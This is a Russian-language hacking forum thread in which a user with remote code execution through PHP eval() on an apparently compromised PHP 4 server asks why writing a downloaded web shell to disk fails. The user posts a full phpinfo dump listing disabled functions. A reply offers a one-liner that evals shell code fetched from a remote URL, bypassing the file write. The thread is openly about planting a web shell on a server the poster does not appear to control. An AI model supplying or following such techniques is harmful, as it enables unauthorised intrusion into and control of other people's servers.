php не даёт писать в файл

Discussion in 'Песочница' started by private_static, 24 Sep 2015.

  1. private_static

    Joined:
    19 May 2015
    Messages:
    117
    Likes Received:
    76
    Reputations:
    22
    в общем ситауция такова:
    требуется залить шелл, есть возможность rce через eval(), тело шелла я качаю со своего серва и сохраняю в переменную, проблема в том что я не могу записать это тело в файл стандартными функциями fopen(),fwrite(),fclose(), причём права на каталоги установлены 755 и владельцем является текущий пользователь,от имени которого я и выполняю код, абсолютный путь использую верно
    php версии 4
    функции пыха для выполнения команд ос отменяются ибо disable_functions
    у кого-нибудь есть мысли на этот счет?
     
  2. smack

    smack Active Member

    Joined:
    25 Aug 2013
    Messages:
    210
    Likes Received:
    157
    Reputations:
    3
    А на файле какие права?
     
  3. private_static

    Joined:
    19 May 2015
    Messages:
    117
    Likes Received:
    76
    Reputations:
    22
    644
     
  4. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,664
    Likes Received:
    913
    Reputations:
    363
    показывайте вывод phpinfo. какие функции еще использовали для создания файла?
     
    _________________________
  5. private_static

    Joined:
    19 May 2015
    Messages:
    117
    Likes Received:
    76
    Reputations:
    22
    Configure Command './configure' '--build=i686-redhat-linux-gnu' '--host=i686-redhat-linux-gnu' '--target=i386-redhat-linux-gnu' '--program-prefix=' '--prefix=/usr' '--exec-prefix=/usr' '--bindir=/usr/bin' '--sbindir=/usr/sbin' '--sysconfdir=/etc' '--datadir=/usr/share' '--includedir=/usr/include' '--libdir=/usr/lib' '--libexecdir=/usr/libexec' '--localstatedir=/var' '--sharedstatedir=/usr/com' '--mandir=/usr/share/man' '--infodir=/usr/share/info' '--cache-file=../config.cache' '--with-config-file-path=/etc' '--with-config-file-scan-dir=/etc/php.d' '--enable-force-cgi-redirect' '--disable-debug' '--enable-pic' '--disable-rpath' '--enable-inline-optimization' '--with-bz2' '--with-db4=/usr' '--with-curl' '--with-exec-dir=/usr/bin' '--with-freetype-dir=/usr' '--with-png-dir=/usr' '--with-gd=shared' '--enable-gd-native-ttf' '--without-gdbm' '--with-gettext' '--with-ncurses=shared' '--with-gmp' '--with-iconv' '--with-jpeg-dir=/usr' '--with-openssl' '--with-png' '--with-pspell' '--with-xml' '--with-expat-dir=/usr' '--with-dom=shared,/usr' '--with-dom-xslt=/usr' '--with-dom-exslt=/usr' '--with-xmlrpc=shared' '--with-zlib' '--with-layout=GNU' '--enable-bcmath' '--enable-exif' '--enable-ftp' '--enable-magic-quotes' '--enable-sockets' '--enable-sysvsem' '--enable-sysvshm' '--enable-track-vars' '--enable-trans-sid' '--enable-yp' '--enable-wddx' '--with-pear=/usr/share/pear' '--with-imap=shared' '--with-imap-ssl' '--with-kerberos' '--with-ldap=shared' '--with-mysql=shared,/usr' '--with-pgsql=shared' '--with-snmp=shared,/usr' '--with-snmp=shared' '--enable-ucd-snmp-hack' '--with-unixODBC=shared,/usr' '--enable-memory-limit' '--enable-shmop' '--enable-calendar' '--enable-dbx' '--enable-dio' '--enable-mbstring=shared' '--enable-mbstr-enc-trans' '--enable-mbregex' '--with-mime-magic=/usr/share/magic.mime' '--with-pic' '--with-apxs2=/usr/sbin/apxs'
    Server API Apache 2.0 Handler
    Virtual Directory Support disabled
    Configuration File (php.ini) Path /etc/php.ini
    Scan this dir for additional .ini files /etc/php.d
    additional .ini files parsed /etc/php.d/gd.ini, /etc/php.d/imap.ini, /etc/php.d/ldap.ini, /etc/php.d/mbstring.ini, /etc/php.d/mysql.ini, /etc/php.d/xmlrpc.ini
    PHP API 20020918
    PHP Extension 20020429
    Zend Extension 20050606
    Debug Build no
    Zend Memory Manager enabled
    Thread Safety disabled
    Registered PHP Streams php, http, ftp, https, ftps, compress.bzip2, compress.zlib
    allow_call_time_pass_reference Off Off
    allow_url_fopen Off Off
    always_populate_raw_post_data Off Off
    arg_separator.input & &
    arg_separator.output & &
    asp_tags Off Off
    auto_append_file no value no value
    auto_prepend_file no value no value
    browscap no value no value
    default_charset no value no value
    default_mimetype text/html text/html
    define_syslog_variables Off Off
    disable_classes no value no value
    disable_functions dl,shell_exec,eval,system,passthru,popen,proc_open,proc_nice,proc_get_status,proc_close,proc_terminate,posix_mkfifo,escapeshellcmd,apache_reset_timeout,ftp_exec,ssh2_shell,ssh2_exec,ssh2_connect,escapeshellarg,exec dl,shell_exec,eval,system,passthru,popen,proc_open,proc_nice,proc_get_status,proc_close,proc_terminate,posix_mkfifo,escapeshellcmd,apache_reset_timeout,ftp_exec,ssh2_shell,ssh2_exec,ssh2_connect,escapeshellarg,exec
    display_errors Off Off
    display_startup_errors Off Off
    doc_root no value no value
    docref_ext no value no value
    docref_root no value no value
    enable_dl On On
    error_append_string no value no value
    error_log no value no value
    error_prepend_string no value no value
    error_reporting 7 1
    expose_php On On
    extension_dir /usr/lib/php4 /usr/lib/php4
    file_uploads On On
    gpc_order GPC GPC
    highlight.bg #FFFFFF #FFFFFF
    highlight.comment #FF8000 #FF8000
    highlight.default #0000BB #0000BB
    highlight.html #000000 #000000
    highlight.keyword #007700 #007700
    highlight.string #DD0000 #DD0000
    html_errors On On
    ignore_repeated_errors Off Off
    ignore_repeated_source Off Off
    ignore_user_abort Off Off
    implicit_flush Off Off
    include_path .:/usr/share/pear .:/usr/share/pear
    log_errors On On
    log_errors_max_len 1024 1024
    magic_quotes_gpc Off Off
    magic_quotes_runtime Off Off
    magic_quotes_sybase Off Off
    max_execution_time 180 180
    max_input_time 180 180
    memory_limit 30M 30M
    open_basedir no value no value
    output_buffering no value no value
    output_handler no value no value
    post_max_size 8M 8M
    precision 14 14
    register_argc_argv On On
    register_globals On On
    report_memleaks On On
    safe_mode Off Off
    safe_mode_exec_dir no value no value
    safe_mode_gid Off Off
    safe_mode_include_dir no value no value
    sendmail_from no value

    serialize_precision 100 100
    short_open_tag On On
    SMTP localhost localhost
    smtp_port 25 25
    sql.safe_mode Off Off
    track_errors Off Off
    unserialize_callback_func no value no value
    upload_max_filesize 3M 3M
    upload_tmp_dir no value no value
    user_dir no value no value
    variables_order EGPCS EGPCS
    xmlrpc_error_number 0 0
    xmlrpc_errors Off Off
    y2k_compliance On
    Apache Version Apache/2.2.3 (CentOS)
    Apache API Version 20051115
    User/Group apache(48)/48
    Max Requests Per Child: 4000 - Keep Alive: off - Max Per Connection: 100
    Timeouts Connection: 120 - Keep-Alive: 15
    Virtual Server Yes
    Server Root /etc/httpd
    Loaded Modules core prefork http_core mod_so mod_auth_basic mod_auth_digest mod_authn_file mod_authn_alias mod_authn_anon mod_authn_dbm mod_authn_default mod_authz_host mod_authz_user mod_authz_owner mod_authz_groupfile mod_authz_dbm mod_authz_default util_ldap mod_authnz_ldap mod_include mod_log_config mod_logio mod_env mod_ext_filter mod_mime_magic mod_expires mod_deflate mod_headers mod_usertrack mod_setenvif mod_mime mod_dav mod_status mod_autoindex mod_info mod_dav_fs mod_vhost_alias mod_negotiation mod_dir mod_actions mod_speling mod_userdir mod_alias mod_rewrite mod_proxy mod_proxy_balancer mod_proxy_ftp mod_proxy_http mod_proxy_connect mod_cache mod_suexec mod_disk_cache mod_file_cache mod_mem_cache mod_cgi mod_version mod_auth_kerb mod_auth_mysql mod_auth_pgsql mod_authz_ldap mod_perl sapi_apache2 mod_proxy_ajp mod_python
    BCMath support enabled

    BZip2 Support Enabled
    BZip2 Version 1.0.3, 15-Feb-2005
    ctype functions enabled

    CURL support enabled
    CURL Information libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5
    DBA support enabled
    Supported handlers cdb cdb_make db4 inifile flatfile
    dbx support enabled
    dbx version 1.0.0
    supported databases MySQL ODBC PostgreSQL Microsoft SQL Server FrontBase Oracle 8 (oci8) Sybase-CT
    EXIF Support enabled
    EXIF Version 1.4 $Id: exif.c,v 1.118.2.37.2.7 2007/01/09 11:38:04 tony2001 Exp $
    Supported EXIF Version 0220
    Supported filetypes JPEG,TIFF
    Sockets Support enabled

    CONSOLE /dev/pts/0
    SELINUX_INIT YES
    TERM linux
    INIT_VERSION sysvinit-2.86
    PATH /sbin:/usr/sbin:/bin:/usr/bin
    runlevel 5
    RUNLEVEL 5
    PWD /
    LANG C
    TZ Europe/Moscow
    previous N
    PREVLEVEL N
    SHLVL 3
    HOME /
    _ /usr/sbin/httpd
    KRB5RCACHETYPE none

    для записи использовал только обычный метод,открытие через fopen() и запись через fwrite() с последующим закрытием, file_put_contents() насколько я знаю появился только в php5
    кстати, сейчас смотрю disable_functions в phpinfo и в списке числится eval(), не пойму почему тогда у меня eval() работает
    мутный в общем сервачек
     
  6. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,546
    Likes Received:
    173
    Reputations:
    75
    а ты не записывай, сразу делай eval(file_get_contents("http://site.ru/shell.txt"))
     
    private_static and hesher like this.